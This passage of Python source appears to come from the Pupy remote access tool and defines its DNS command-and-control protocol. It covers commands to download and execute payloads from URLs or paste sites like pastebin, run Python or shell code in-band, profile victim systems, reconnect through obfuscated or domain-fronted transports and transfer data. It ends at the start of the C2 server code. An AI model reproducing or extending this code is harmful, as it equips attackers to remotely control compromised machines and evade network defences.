        'ec4', 'ws', 'ecm',
        start=1
    )

    def __init__(self, ip, port, transport='ssl'):
        self.transport = transport
        try:
            self.ip = netaddr.IPAddress(ip)
        except:
            self.ip = netaddr.IPAddress(
                socket.gethostbyname(ip)
            )

        self.port = int(port)

    def pack(self):
        message = b''
        if self.well_known_transports.is_registered(self.transport):
            code = (1 << 7) | self.well_known_transports.encode(self.transport)
            message = message + struct.pack('B', code)
        else:
            code = len(self.transport)
            if code > 0x7F:
                raise PackError(
                    'Transport name {} can not be encoded'.format(self.transport))

            message = message + struct.pack('B', code) + self.transport

        message = message + struct.pack('>I', int(self.ip))
        message = message + struct.pack('>H', int(self.port))

        return struct.pack('B', len(message)) + message

    def __repr__(self):
        return '{{CONNECT: TRANSPORT={} IP={} PORT={}}}'.format(
            self.transport, self.ip, self.port
        )

    @staticmethod
    def unpack(data):
        length = struct.unpack_from('B', data)[0]
        data = data[1:1+length]
        transport, rest = data[:1], data[1:]
        transport = struct.unpack('B', transport)[0]
        if transport & 1<<7:
            transport = Connect.well_known_transports.decode(transport & (1<<7)-1)
        else:
            transport, rest = rest[:transport], rest[transport:]

        host, port = rest[:4], rest[4:]
        host = str(netaddr.IPAddress(struct.unpack('>I', host)[0]))
        port = struct.unpack('>H', port)[0]

        return Connect(host, port, transport), 1+length


class DownloadExec(Command):

    __slots__ = ('proxy', 'url', 'action')

    # 2 bits - 3 max
    well_known_downloadexec_action = EncodingTable(
        'pyexec', 'exec', 'sh'
    )

    # 3 bits - 7 max
    well_known_downloadexec_scheme = EncodingTable(
        'http', 'https', 'ftp', 'tcp', 'udp', 'tls'
    )

    def __init__(self, url, action='pyexec', proxy=False):
        self.proxy = bool(proxy)
        self.url = url
        self.action = action

    def pack(self):
        try:
            action = self.well_known_downloadexec_action.encode(self.action)
        except:
            raise PackError('Unknown action: {}'.format(self.action))

        url = urlparse(self.url)

        try:
            addr = netaddr.IPAddress(url.hostname)
        except:
            addr = netaddr.IPAddress(socket.gethostbyname(url.hostname))

        if not addr.version == 4:
            raise PackError('IPv6 unsupported')

        addr = int(addr)
        if url.port:
            port = int(url.port)
        else:
            port = 0

        path = url.path

        if len(path) > 16:
            raise PackError('Too big url path')

        try:
            scheme = self.well_known_downloadexec_scheme.encode(url.scheme)
        except EncodingTableUnregisteredElement:
            raise PackError('Unknown scheme: {}'.format(url.scheme))

        code = (self.proxy << 5) | (action << 3) | scheme

        return struct.pack(
            'BIHB', code, addr, port, len(path)
        ) + path

    def __repr__(self):
        return '{{DEXEC: URL={} ACTION={} PROXY={}}}'.format(
            self.url, self.action, self.proxy
        )

    @staticmethod
    def unpack(data):
        bsize = struct.calcsize('BIHB')
        code, addr, port, plen = struct.unpack_from('BIHB', data)
        action = DownloadExec.well_known_downloadexec_action.decode((code >> 3) & 3)
        scheme = DownloadExec.well_known_downloadexec_scheme.decode(code & 7)
        proxy = bool((code >> 5) & 1)
        host = str(netaddr.IPAddress(addr))
        port = ':{}'.format(port) if port else (
            '' if scheme in ('http', 'ftp', 'https') else 53
        )
        path = data[bsize:bsize+plen]
        return DownloadExec('{}://{}{}{}'.format(
            scheme, host, port, path
        ), action, proxy), bsize+plen


class PasteLink(Command):

    __slots__ = ('url', 'action')

    internet_required = True

    # 15 max - 4 bits
    well_known_paste_services = [(
        'http://pastebin.com/raw/{}',
        base64.b64decode,
        base64.b64encode,
    ), (
        'https://phpaste.sourceforge.io/demo/paste.php?download&id={}',
        lambda x: to_bytes(x),
        lambda x: str(from_bytes(x)),
    ), (
        'http://ix.io/{}',
        lambda x: to_bytes(baseconv.base62.decode(x)),
        lambda x: baseconv.base62.encode(from_bytes(x)),
    ), (
        'https://ghostbin.com/paste/{}/download',
        lambda x: to_bytes(baseconv.base36.decode(x)),
        lambda x: baseconv.base36.encode(from_bytes(x)),
    ), (
        'https://hastebin.com/raw/{}',
        lambda x: to_bytes(baseconv.base62.decode(x)),
        lambda x: baseconv.base62.encode(from_bytes(x)),
    ), (
        'http://vpaste.net/{}',
        lambda x: to_bytes(baseconv.base62.decode(x)),
        lambda x: baseconv.base62.encode(from_bytes(x)),
    ), (
        'http://dpaste.com/{}.txt',
        lambda x: to_bytes(baseconv.base62.decode(x)),
        lambda x: baseconv.base62.encode(from_bytes(x)),
    ), (
        'http://paste.openstack.org/raw/{}/',
        lambda x: to_bytes(long(x)),
        lambda x: str(from_bytes(x)),
    ), (
        'https://friendpaste.com/{}/raw',
        lambda x: to_bytes(baseconv.base62.decode(x)),
        lambda x: baseconv.base62.encode(from_bytes(x)),
    ), (
        'http://lpaste.net/raw/{}',
        lambda x: to_bytes(long(x)),
        lambda x: str(from_bytes(x)),
    )]

    well_known_paste_services_encode = {
        k:i for i, k in enumerate(well_known_paste_services)
    }

    well_known_paste_services_decode = {
        i:k for k,i in well_known_paste_services_encode.items()
    }

    # 4 max - 2 bits
    well_known_pastebin_action = EncodingTable(
        'pyexec', 'exec', 'sh'
    )

    def __init__(self, url, action='pyexec'):
        self.url = url
        self.action = action

    def pack(self):
        message = b''

        well_known_found = False

        if not self.well_known_pastebin_action.is_registered(self.action):
            raise PackError('User-defined actions are not supported')

        for key in self.well_known_paste_services_encode:
            service, encode, decode = key
            code = self.well_known_paste_services_encode[key]

            match = re.match(service.format('(.*)'), self.url)
            if match:
                paste = encode(match.groups()[0])
                message = struct.pack(
                    'BB',
                    (1<<7) | (self.well_known_pastebin_action.encode(self.action) << 5) | code,
                    len(paste)
                ) + paste
                well_known_found = True
                break

        if not well_known_found:
            if len(self.url) > 32:
                raise PackError('Url size of user-defined urls limited to 25 bytes')

            message = struct.pack(
                'B',
                self.well_known_pastebin_action.encode(self.action) << 5 | len(self.url)
            ) + self.url

        return message

    def __repr__(self):
        return '{{PASTE: URL={} ACTION={} }}'.format(
            self.url, self.action
        )

    @staticmethod
    def unpack(data):
        h1 = struct.unpack_from('B', data)[0]
        if h1 & (1<<7):
            action = PasteLink.well_known_pastebin_action.decode((h1 >> 5) & 3)
            urltpl, encode, decode = PasteLink.well_known_paste_services_decode[h1 & 7]
            _, length = struct.unpack_from('BB', data)
            url = urltpl.format(decode(data[2:2+length]))
            return PasteLink(url, action), 2+length
        else:
            action = PasteLink.well_known_pastebin_action.decode((h1 >> 5) & 3)
            length = h1 & 31
            return PasteLink(data[1:length+1], action), 1+length


class OnlineStatus(Command):

    __slots__ = ('offset', 'mintime', 'register')

    @staticmethod
    def unpack(data):
        total, offset, mintime, register = struct.unpack_from('>BhHI', data)
        return OnlineStatus(offset, mintime, register), total

    def __init__(self, offset=None, mintime=None, register=None):
        if register is None or mintime is None:
            offset, mintime, register = online.check()

        self.offset = offset
        self.mintime = mintime
        self.register = register

    def pack(self):
        return struct.pack('>BhHI', 8+1, self.offset, self.mintime, self.register)

    def get_dict(self):
        result = online.bits_to_dict(self.register)
        if self.mintime == 65535:
            result.update({
                'mintime': 'MAX'
            })
        else:
            result.update({
                'mintime': '{:.3f}s'.format(float(self.mintime)/1000)
            })

        if result['ntp']:
            if self.offset in (32767, -32768):
                word = 'MAX'
                if self.offset < 0:
                    word = 'MIN'

                result.update({
                    'ntp-offset': word
                })
            else:
                result.update({
                    'ntp-offset': '{:.3f}s'.format(float(self.offset)/1000000)
                })
        else:
            result.update({
                'ntp-offset': 'N/A'
            })

        return result

    def __str__(self):
        return '{{ONLINE: {}}}'.format(
            ' '.join(
                '{}={}'.format(
                    k.upper(),
                    v if type(v) in (int, basestring, bool) else any([
                        x for x in v.values()
                    ])) for k,v in self.get_dict().items()))


class PortQuizPort(Command):

    __slots__ = ('ports',)

    @staticmethod
    def unpack(data):
        ports_count, = struct.unpack_from('B', data)
        ports = struct.unpack_from('>' + 'H'*ports_count, data[1:])
        return PortQuizPort(ports), 1 + ports_count*2

    def __init__(self, ports):
        self.ports = [int(x) for x in ports]

    def pack(self):
        ports_count = len(self.ports)
        ports = struct.pack('>' + 'H'*ports_count, *self.ports)
        ports_count = struct.pack('B', ports_count)
        return ports_count + ports

    def __str__(self):
        return '{{PORTQUIZ: {}}}'.format(','.join(str(x) for x in sorted(self.ports)))


class OnlineStatusRequest(Command):

    __slots__ = ()

    @staticmethod
    def unpack(data):
        return OnlineStatusRequest(), 0

    def __repr__(self):
        return '{ONLINE-STATUS-REQUEST}'


class PupyState(Command):

    __slots__ = (
        'connected', 'pstore_dirty',
        'has_ipv6', 'support_connect_v2',
        'has_emergency_mode'
    )

    IS_CONNECTED = (1 << 0)
    IS_DIRTY = (1 << 1)
    HAS_IPV6 = (1 << 2)
    SUPPORT_CONNECT_V2 = (1 << 3)
    HAS_EMERGENCY_MODE = (1 << 4)

    @staticmethod
    def unpack(data):
        records_count, = struct.unpack_from('B', data)
        records = struct.unpack_from('B'*records_count, data[1:])

        connected = records[0] & PupyState.IS_CONNECTED
        pstore_dirty = records[0] & PupyState.IS_DIRTY
        has_ipv6 = records[0] & PupyState.HAS_IPV6
        support_connect_v2 = records[0] & PupyState.SUPPORT_CONNECT_V2
        has_emergency_mode = records[0] & PupyState.HAS_EMERGENCY_MODE

        return PupyState(
            connected, pstore_dirty, has_ipv6, support_connect_v2,
            has_emergency_mode
        ), records_count + 1

    def pack(self):
        records_count = 1
        record = 0
        if self.connected:
            record |= PupyState.IS_CONNECTED

        if self.pstore_dirty:
            record |= PupyState.IS_DIRTY

        if self.has_ipv6:
            record |= PupyState.HAS_IPV6

        if self.support_connect_v2:
            record |= PupyState.SUPPORT_CONNECT_V2

        if self.has_emergency_mode:
            record |= PupyState.HAS_EMERGENCY_MODE

        return struct.pack(
            'B' + 'B'*records_count, records_count, record)

    def __init__(
        self, connected=False, pstore_dirty=False,
            has_ipv6=False, support_connect_v2=True, has_emergency_mode=False):

        self.connected = connected
        self.pstore_dirty = pstore_dirty
        self.has_ipv6 = has_ipv6
        self.support_connect_v2 = support_connect_v2
        self.has_emergency_mode = has_emergency_mode

    def __repr__(self):
        return '{{PUPY-STATE: CONNECTED={} PSTORE={} ' \
          'IPV6={} CONNV2={} EMERGENCY={}}}'.format(
            self.connected, self.pstore_dirty,
              self.has_ipv6, self.support_connect_v2, self.has_emergency_mode)


class ConnectablePort(Command):

    __slots__ = ('ip', 'ports')

    @staticmethod
    def unpack(data):
        ip, ports_count = struct.unpack_from('>IB', data)
        ports = struct.unpack_from('>'+'H'*ports_count, data[5:])
        ip = netaddr.IPAddress(ip)
        return ConnectablePort(ip, ports), 4 + 1 + ports_count*2

    def __init__(self, ip, ports):
        try:
            self.ip = netaddr.IPAddress(ip)
        except:
            self.ip = netaddr.IPAddress(socket.gethostbyname(ip))

        self.ports = ports

    def pack(self):
        ports_count = len(self.ports)
        ports = struct.pack('>'+'H'*ports_count, *self.ports)
        header = struct.pack('>IB', int(self.ip), ports_count)
        return header + ports

    def __str__(self):
        return '{{OPEN: {}:{}}}'.format(self.ip, ','.join(str(x) for x in self.ports))


def isset(flags, flag):
    return flags & flag == flag


class SystemInfoEx(Command):
    __slots__ = (
        'version',

        'os', 'arch', 'node', 'boottime', 'internet',
        'external_ip', 'internal_ip'
    )

    CURRENT_VERSION = 1
    IS_ONLINE = 1 << 4
    HAS_EXTERNAL_IP = 1 << 3
    EXTERNAL_IP_IS_IPV6 = 1 << 2
    HAS_INTERNAL_IP = 1 << 1
    INTERNAL_IP_IS_IPV6 = 1 << 0

    well_known_os_names = EncodingTable(
        'Linux', 'Windows', 'SunOS', 'android'
    )

    well_known_cpu_archs = EncodingTable(
        'unknown', 'x86', 'x64', 'arm', 'mips'
    )

    x86_re = re.compile(r'i[2-6]86')

    @staticmethod
    def _arch_to_type(arch):
        arch = arch.lower().strip()

        if SystemInfoEx.x86_re.match(arch) or arch == 'i86pc':
            return 'x86'
        elif arch in ('x86_64', 'amd64'):
            return 'x64'
        elif arch.startswith('arm'):
            return 'arm'
        elif arch.startswith('mips'):
            return 'mips'
        else:
            return 'unknown'

    def _initialize_from_current_system(self):
        self.version = SystemInfoEx.CURRENT_VERSION
        self.os = platform.system()
        self.arch = SystemInfoEx._arch_to_type(platform.machine())
        self.node = uuid.getnode()

        try:
            self.boottime = datetime.datetime.fromtimestamp(
                psutil.boot_time()
            )
        except:
            self.boottime = datetime.datetime.fromtimestamp(0)

        self.external_ip = online.external_ip()
        self.internet = online.online()

        self.internal_ip = online.internal_ip()

    def __init__(
        self, version=None, os=None, arch=None, node=None, boottime=None,
            external_ip=None, internal_ip=None, internet=None):

        if all(var is None for var in (
                version, os, arch, node, boottime,
                external_ip, internal_ip, internet)):
            self._initialize_from_current_system()
        else:
            self.version = version
            self.os = os
            self.arch = arch
            self.node = node
            self.boottime = boottime
            self.internet = internet

            if external_ip:
                self.external_ip = netaddr.IPAddress(external_ip)
            else:
                self.external_ip = None

            if internal_ip:
                self.internal_ip = netaddr.IPAddress(internal_ip)
            else:
                self.internal_ip = None

    def pack(self):
        # 1b Version
        # 1b OS, Arch (4b)
        # 6b Node
        # 4b BootTime
        # 1b Flags
        #    3 bits are reserved
        #    Internet access present
        #    External IP present
        #    Is External IP - IPv6
        #    Internal IP present
        #    Is Internal IP - IPv6
        # 4 - 16b - External IP
        # 4 - 16b - Internal IP
        # Total:  21 - 45b

        flags = 0

        internal_ip_packed = b''
        external_ip_packed = b''

        if self.internet:
            flags |= SystemInfoEx.IS_ONLINE

        if self.internal_ip is not None and self.internal_ip != self.external_ip:
            flags |= SystemInfoEx.HAS_INTERNAL_IP
            if self.internal_ip.version == 6:
                flags |= SystemInfoEx.INTERNAL_IP_IS_IPV6

            internal_ip_packed = self.internal_ip.packed

        if self.external_ip is not None:
            flags |= SystemInfoEx.HAS_EXTERNAL_IP
            if self.external_ip.version == 6:
                flags |= SystemInfoEx.EXTERNAL_IP_IS_IPV6

            external_ip_packed = self.external_ip.packed

        return b''.join([
            chr(self.version),
            chr(SystemInfoEx.well_known_os_names.encode(self.os) << 4 | \
                SystemInfoEx.well_known_cpu_archs.encode(self.arch)),
            to_bytes(self.node, 6),
            struct.pack('>I', int(time.mktime(self.boottime.timetuple()))),
            chr(flags),
            internal_ip_packed,
            external_ip_packed,
        ])

    @staticmethod
    def _unpack_v1(data):
        version = ord(data[0])

        os_arch = ord(data[1])
        os = SystemInfoEx.well_known_os_names.decode((os_arch >> 4) & 0b1111)
        arch = SystemInfoEx.well_known_cpu_archs.decode(os_arch & 0b1111)
        node = from_bytes(data[2:2+6])
        boottime, = struct.unpack('>I', data[8:8+4])

        try:
            boottime = datetime.datetime.fromtimestamp(boottime)
        except:
            boottime = None

        flags = ord(data[12])

        external_ip = None
        internal_ip = None
        internet = None

        consumed = 13

        internet = bool(flags & SystemInfoEx.IS_ONLINE)

        if isset(flags, SystemInfoEx.HAS_INTERNAL_IP):
            if isset(flags, SystemInfoEx.INTERNAL_IP_IS_IPV6):
                internal_ip = unpack_ip_address(data[consumed:consumed+16])
                consumed += 16
            else:
                internal_ip = unpack_ip_address(data[consumed:consumed+4])
                consumed += 4

        if isset(flags, SystemInfoEx.HAS_EXTERNAL_IP):
            if isset(flags, SystemInfoEx.EXTERNAL_IP_IS_IPV6):
                external_ip = unpack_ip_address(data[consumed:consumed+16])
                consumed += 16
            else:
                external_ip = unpack_ip_address(data[consumed:consumed+4])
                consumed += 4

        return SystemInfoEx(
            version, os, arch, node, boottime, external_ip, internal_ip, internet
        ), consumed

    @staticmethod
    def unpack(data):
        version = ord(data[0])
        if version == 1:
            return SystemInfoEx._unpack_v1(data)
        else:
            raise NotImplementedError(
                'SystemInfoEx: Unsupported version {}'.format(version))

    def __repr__(self):
        return '{{SYSEX: OS={} ARCH={} NODE={:012X} IP={}/{} ' \
            'BOOT={} INTERNET={}}}'.format(
                self.os, self.arch, self.node, self.external_ip,
                self.internal_ip, self.boottime.ctime(),
                self.internet
            )


class ConnectEx(Command):
    __slots__ = (
        'address', 'port', 'fronting', 'transport', 'address_type'
    )

    IPV4 = 0b001
    IPV6 = 0b010
    TARGET_ID = 0b011

    well_known_transports = EncodingTable(
        'obfs3', 'kc4', 'http', 'rsa', 'ssl',
        'scramblesuit', 'ssl_rsa', 'ec4', 'ws', 'ecm', 'dfws'
    )

    #  1        - FRONTING
    #   111     - TYPE
    #      0000 - RESERVED
    #  11111111 - TRANSPORT
    #  2x1      - PORT
    #  2x1      - TARGET_ID
    #  2x1      - FRONTING TARGET_ID (IF ANY, or NONE)
    #      OR
    #  4x1      - IPv4 ADDRESS
    #      OR
    #  16x1     - IPv6 ADDRESS

    def __init__(self, address, port, transport, fronting=None):
        self.address = None

        if type(address) in (basestring, netaddr.IPAddress):
            try:
                self.address = netaddr.IPAddress(address)
                if self.address.version == 6:
                    self.address_type = ConnectEx.IPV6
                else:
                    self.address_type = ConnectEx.IPV4

            except netaddr.AddrFormatError:
                pass

        elif type(address) in (long, int) and address >= 0 and address < 65536:
            self.address = address
            self.address_type = ConnectEx.TARGET_ID

        else:
            raise NotImplementedError(
                'Unsupported address type {}'.format(type(address)))

        self.port = int(port)
        self.transport = transport
        self.fronting = fronting

    def __repr__(self):
        return '{{CONNECT_EX {}:{} {}{}}}'.format(
            self.address, self.port, self.transport,
            ' FRONT={}'.format(self.fronting) if self.fronting else '')

    def pack(self):
        address = None
        fronting = None
        port = None

        if self.address_type == ConnectEx.TARGET_ID:
            address = struct.pack('>H', self.address)
        else:
            address = self.address.packed

        if self.fronting:
            if type(self.fronting) in (long, int) and \
                    self.fronting > 0 and self.fronting < 65536:
                fronting = struct.pack('>H', self.fronting)
            else:
                raise NotImplementedError(
                    'Address type {} is not supported'.format(type(self.fronting)))

        port = struct.pack('>H', self.port)
        transport = self.well_known_transports.encode(self.transport)

        info_byte = 0b0
        if fronting:
            info_byte |= 1 << 7

        info_byte |= self.address_type << 4

        packed = b''.join([
            chr(info_byte),
            chr(transport),
            port, address,
            fronting if fronting else ''
        ])

        return packed

    @staticmethod
    def unpack(data):
        info_byte = ord(data[0])
        fronting = (info_byte >> 7) & 0b1
        address_type = (info_byte >> 4) & 0b111

        transport = ConnectEx.well_known_transports.decode(ord(data[1]))
        port, = struct.unpack_from('>H', data[2:])

        consumed = 4

        if address_type == ConnectEx.IPV4:
            address = unpack_ip_address(data[consumed:consumed+4])
            consumed += 4
        elif address_type == ConnectEx.IPV6:
            address = unpack_ip_address(data[consumed:consumed+16])
            consumed += 16
        else:
            target_id, = struct.unpack_from('>H', data[consumed:])
            address = target_id
            consumed += 2

            if fronting:
                frontinig_target_id, = struct.unpack_from('>H', data[consumed:])
                fronting = frontinig_target_id
                consumed += 2

        return ConnectEx(address, port, transport, fronting), consumed


class RegisterHostnameId(Command):
    __slots__ = ('hostname', 'id')

    encoder = dns_encoder.DnsEncoder(dns_encoder_table.TREES)

    def __init__(self, hid, hostname):
        self.id = hid
        self.hostname = hostname

    def pack(self):
        encoded_hostname = RegisterHostnameId.encoder.encode(self.hostname)
        return struct.pack('>BH', len(encoded_hostname), self.id) + encoded_hostname

    @staticmethod
    def unpack(data):
        encoded_len, hid = struct.unpack_from('>BH', data)
        decoded, rest = RegisterHostnameId.encoder.decode(data[3:3+encoded_len])

        return RegisterHostnameId(hid, decoded), 3 + encoded_len

    def __repr__(self):
        return '{{REGISTER HOSTNAME: {} => {}}}'.format(
            self.id, self.hostname)


class DataTransferControl(Command):
    __slots__ = ('transfer_id', 'total_size', 'crc', 'action')

    ACTION_START = 0x0
    ACTION_CANCEL = 0x1
    ACTION_FINISH = 0x2
    ACTION_CORRUPTED = 0x3

    def __init__(self, action, transfer_id, total_size=None, crc=None):
        if transfer_id > 0xF:
            raise ValueError('transfer_id should be less than 0xF')

        if action == DataTransferControl.ACTION_START:
            if (total_size is None or crc is None):
                raise ValueError('total_size and crc must be specified')

            if type(crc) not in (int, long) or crc < 0 or crc > 0xFFFFFFFF:
                raise ValueError('Invalid CRC field, should be uint32')

            if total_size > 0xFFFF:
                raise ValueError('total_size should be less than 0xFFFF')

        if action > DataTransferControl.ACTION_CORRUPTED or \
                action < DataTransferControl.ACTION_START:
            raise ValueError('Invalid action')

        self.transfer_id = transfer_id
        self.total_size = total_size
        self.crc = crc

    def _action_to_text(self):
        if self.action == DataTransferControl.ACTION_START:
            return 'START'
        elif self.action == DataTransferControl.ACTION_CORRUPTED:
            return 'CORRUPTED'
        elif self.action == DataTransferControl.ACTION_FINISH:
            return 'FINISH'
        elif self.action == DataTransferControl.ACTION_CANCEL:
            return 'CANCEL'
        else:
            return 'INVALID'

    def __repr__(self):
        return '{{DC {}: {}{}}}'.format(
            self.transfer_id, self._action_to_text(),
            ' size={} crc={:08X}'.format(
                self.total_size, self.crc
            ) if self.action == DataTransferControl.ACTION_START else ''
        )

    def pack(self):
        packed = chr(self.action << 4 | self.transfer_id)
        if self.action == DataTransferControl.ACTION_START:
            packed += struct.pack('>HI', self.total_size, self.crc)

        return packed

    @staticmethod
    def unpack(data):
        control_byte = ord(data[0])
        action = (control_byte >> 4) & 0xFFFF
        transfer_id = control_byte & 0xFFFF
        total_size = None
        crc = None
        consumed = 1

        if action == DataTransferControl.ACTION_START:
            total_size, crc = struct.unpack_from('>HI', data[1:])
            consumed += 6

        return DataTransferControl(action, transfer_id, total_size, crc), consumed


class DataTransferPayload(Command):
    __slots__ = ('transfer_id', 'payload')

    def __init__(self, transfer_id, payload):
        if transfer_id > 0xF:
            raise ValueError('transfer_id should be less than 0xF')

        if len(payload) > 0xFF:
            raise ValueError('one parcel should not have more than 256 bytes')

        self.transfer_id = transfer_id
        self.payload = payload

    def __repr__(self):
        return '{{DT {}: {}}}'.format(
            self.transfer_id, repr(self.payload))

    def pack(self):
        return struct.pack(
            '>BB', self.transfer_id, len(self.payload)) + self.payload

    @staticmethod
    def unpack(data):
        transfer_id, payload_len = struct.unpack_from('>BB', data)
        consumed = 2 + payload_len
        return DataTransferPayload(transfer_id, data[2:consumed]), consumed


class InBandExecute(object):
    __slots__ = ('method', 'transfer_id', 'output')

    METHOD_STORE_EXECUTE = 0
    METHOD_PYTHON_EXECUTE = 1
    METHOD_SH_EXECUTE = 2
    METHOD_NO_OUTPUT = 0x80

    def __init__(self, method, transfer_id, output=False):
        if transfer_id is None or transfer_id < 0 or transfer_id > 0xF:
            raise ValueError('transfer_id should be less than 0xF')

        if method < InBandExecute.METHOD_STORE_EXECUTE or \
                method > InBandExecute.METHOD_SH_EXECUTE:
            raise ValueError('Invalid method')

        self.output = output
        self.method = method
        self.transfer_id = transfer_id

    def pack(self):
        return chr(
            (self.method & (0 if self.output else InBandExecute.METHOD_NO_OUTPUT)) << 4 & \
                (self.transfer_id & 0xF)
        )

    @staticmethod
    def unpack(data):
        control = ord(data[0])
        method = (control >> 4) & 0x7
        output = bool(control >> 7)
        transfer_id = control & 0xF
        return InBandExecute(method, transfer_id, output), 1

    def _method_to_text(self):
        if self.method == InBandExecute.METHOD_STORE_EXECUTE:
            return 'download+exec'
        elif self.method == InBandExecute.METHOD_PYTHON_EXECUTE:
            return 'python'
        elif self.method == InBandExecute.METHOD_PYTHON_EXECUTE:
            return 'sh'
        else:
            return 'INVALID'

    def __repr__(self):
        return '{{IBE: TID={} METHOD={} OUTPUT={}}}'.format(
            self.transfer_id, self._method_to_text(), self.output
        )


class Error(Command):

    __slots__ = ('error', 'message')

    errors = EncodingTable(
        'NO_ERROR', 'NO_SESSION', 'NO_COMMAND',
        'NO_POLICY', 'CRC_FAILED', 'EXCEPTION'
    )

    def __init__(self, error, message=''):
        self.error = error
        self.message = message

    def pack(self):
        if len(self.message) > 25:
            raise PackError('Message too big')

        return struct.pack('B', self.errors.encode(self.error) << 5 | len(self.message))+self.message

    def __repr__(self):
        return '{{{}{}}}'.format(self.error, ': '+self.message if self.message else '')

    @staticmethod
    def unpack(data):
        header = ord(data[0])
        code = (header >> 5) & 7
        length = header & 31
        return Error(Error.errors.decode(code), data[1:1+length]), 1+length


class CustomEvent(Command):
    __slots__ = ('eventid',)

    def __init__(self, eventid):
        self.eventid = eventid

    def pack(self):
        return struct.pack('>I', self.eventid)

    @staticmethod
    def unpack(data):
        eventid, = struct.unpack_from('>I', data)
        return CustomEvent(eventid), 4


class ParcelInvalidCrc(Exception):

    __slots__ = ()

    @property
    def error(self):
        return Error('CRC_FAILED')


class ParcelInvalidPayload(Exception):

    __slots__ = ()

    @property
    def error(self):
        return Error('CRC_FAILED')


class ParcelInvalidCommand(Exception):

    __slots__ = ('command',)

    def __init__(self, command):
        self.command = command

    def __repr__(self):
        return 'Unknown command: {}'.format(self.command)


class Parcel(object):

    __slots__ = ('commands',)

    # Explicitly define commands. In other case make break something

    registered_commands = EncodingTable(
        Poll, Ack, Policy, Idle, Kex,
        Connect, PasteLink, SystemInfo, Error, Disconnect, Exit,
        Sleep, Reexec, DownloadExec, CheckConnect, SystemStatus,
        SetProxy, OnlineStatusRequest, OnlineStatus, ConnectablePort,
        PortQuizPort, PupyState, CustomEvent,
        # V2 Commands
        SystemInfoEx, ConnectEx, RegisterHostnameId,
        DataTransferControl, DataTransferPayload, InBandExecute
    )

    def __init__(self, commands):
        missing = set()

        for command in commands:
            kommand = type(command)

            if not Parcel.registered_commands.is_registered(kommand):
                missing.add(kommand)

        if missing:
            raise ParcelInvalidCommand(missing)

        self.commands = commands

    def __iter__(self):
        return iter(self.commands)

    def __len__(self):
        return len(self.commands)

    @staticmethod
    def _gen_crc32(data, nonce):
        crc = binascii.crc32(data)
        return struct.pack('>i', crc)

    @staticmethod
    def _check_crc32(data, nonce, crc):
        crc2 = binascii.crc32(data)
        return struct.unpack('>i', crc)[0] == crc2

    def pack(self, nonce, gen_csum=None):
        gen_csum = gen_csum or Parcel._gen_crc32

        data = b''.join([
            chr(self.registered_commands.encode(type(command))) + command.pack() for command in self.commands
        ])

        return gen_csum(data, nonce) + data

    def __repr__(self):
        return '|PARCEL: {}|'.format(str(self.commands))

    @staticmethod
    def unpack(data, nonce, check_csum=None):

        check_csum = check_csum or Parcel._check_crc32

        messages = []

        if len(data) < 4:
            raise ParcelInvalidPayload(
                'Too small payload: {}'.format(len(data)))

        csum_data, data = data[:4], data[4:]

        try:
            if not check_csum(data, nonce, csum_data):
                raise ParcelInvalidCrc()

            while data:
                command, data = data[:1], data[1:]
                cmd, offt = Parcel.registered_commands.decode(
                    ord(command)).unpack(data)
                messages.append(cmd)
                data = data[offt:]

        except struct.error as e:
            raise ParcelInvalidPayload('Unpack Failed: {}'.format(e))

        return Parcel(messages)


================================================
FILE: pupy/network/lib/picocmd/server.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'convert_node',
    'Session',
    'DnsCommandServerHandler',
    'DnsCommandServer',

    'DnsNoCommandServerException',
    'DnsPingRequest',
    'DnsCommandServerException',

    'SessionDependedCommand'
)

import struct
import random
import base64
import time
import string

import zlib
import hashlib

import functools
import logging

try:
    from pupy.pupylib import getLogger
    logger = getLogger('dnscnc')
except ImportError:
    logger = logging.getLogger('dnscnc')

import socket
import socketserver
import binascii
import netaddr

from threading import Thread, RLock, Event

from dnslib import DNSRecord, RR, QTYPE, A, AAAA, EDNS0, RCODE
from dnslib.server import DNSHandler, BaseResolver, DNSLogger

from . import ascii85

from .picocmd import (
    Poll, Ack,
    SystemStatus, OnlineStatus,
    Exit, ConnectablePort, PortQuizPort,
    Policy, Kex, SystemInfo,
    PupyState,
    SystemInfoEx, AddressTable,
    Error, ParcelInvalidCrc,
    ParcelInvalidPayload,
    Parcel, PackError, CustomEvent,
    PayloadTooBig,
    from_bytes
)

from pupy.network.lib.transports.cryptoutils import ECPV
from pupy.network.lib.compat import (
    as_byte, is_int, is_str, xrange
)

blocks_logger = logger.getChild('whitelist')


SUPPORTED_METHODS = {
    QTYPE.A: A,
    QTYPE.AAAA: AAAA,
}


def convert_node(node):
    try:
        return str(netaddr.IPAddress(node))
    except netaddr.core.AddrFormatError:
        return int(node, 16)


class DeprecatedVersion(Exception):
    pass


class UnknownVersion(Exception):
    pass


class NodeBlocked(Exception):
    pass


class SessionDependedCommand(object):
    __slots__ = ('rules', 'default')

    def __init__(self, default, *rules):
        self.rules = rules
        self.default = default

    def add_to_session(self, session):
        amount = 0

        if self.rules:
            for rule in self.rules:
                if isinstance(rule, (tuple, list)):
                    min_version, commands = rule
                    if session.system_info_version is not None and \
                            session.system_info_version >= min_version:
                        if hasattr(commands, '__iter__') \
                                and not isinstance(commands, str):
                            for command in commands:
                                session.add_command(command)
                                amount += 1
                        else:
                            session.add_command(commands)
                            amount = 1

                        return amount
                else:
                    result = rule(session)
                    if result is not None:
                        if hasattr(result, '__iter__') \
                                and not isinstance(result, str):
                            for command in result:
                                session.add_command(command)
                                amount += 1
                        else:
                            session.add_command(result)
                            amount = 1

                        return amount

        if hasattr(self.default, '__iter__') \
                and not isinstance(self.default, str):
            for command in self.default:
                session.add_command(command)
                amount += 1
        else:
            session.add_command(self.default)
            amount = 1

        return amount


class ExpirableObject(object):

    __slots__ = (
        '_start', '_last_access',
        '_additional_timeout', 'timeout'
    )

    def __init__(self, timeout):
        self.timeout = timeout

        self._start = time.time()
        self._last_access = 0

        self.bump()

        self._additional_timeout = 240

    @property
    def expired(self):
        return (self.idle > self.timeout + self._additional_timeout)

    @property
    def idle(self):
        return int(time.time() - self._last_access)

    @property
    def duration(self):
        return int(time.time() - self._start)

    def bump(self):
        self._last_access = time.time()
        self._additional_timeout = 0


class Node(ExpirableObject):
    __slots__ = (
        'node', 'cid', 'iid', 'version',
        'commands', 'alert',
        '_warning', '_warning_set_time'
    )

    def __init__(
        self, node, timeout, cid=0x31337, iid=0,
            version=1, commands=[], alert=False):
        super(Node, self).__init__(timeout)
        self.node = node
        self.cid = cid
        self.iid = iid
        self.version = version
        self.commands = commands or []
        self.alert = alert
        self._warning = None
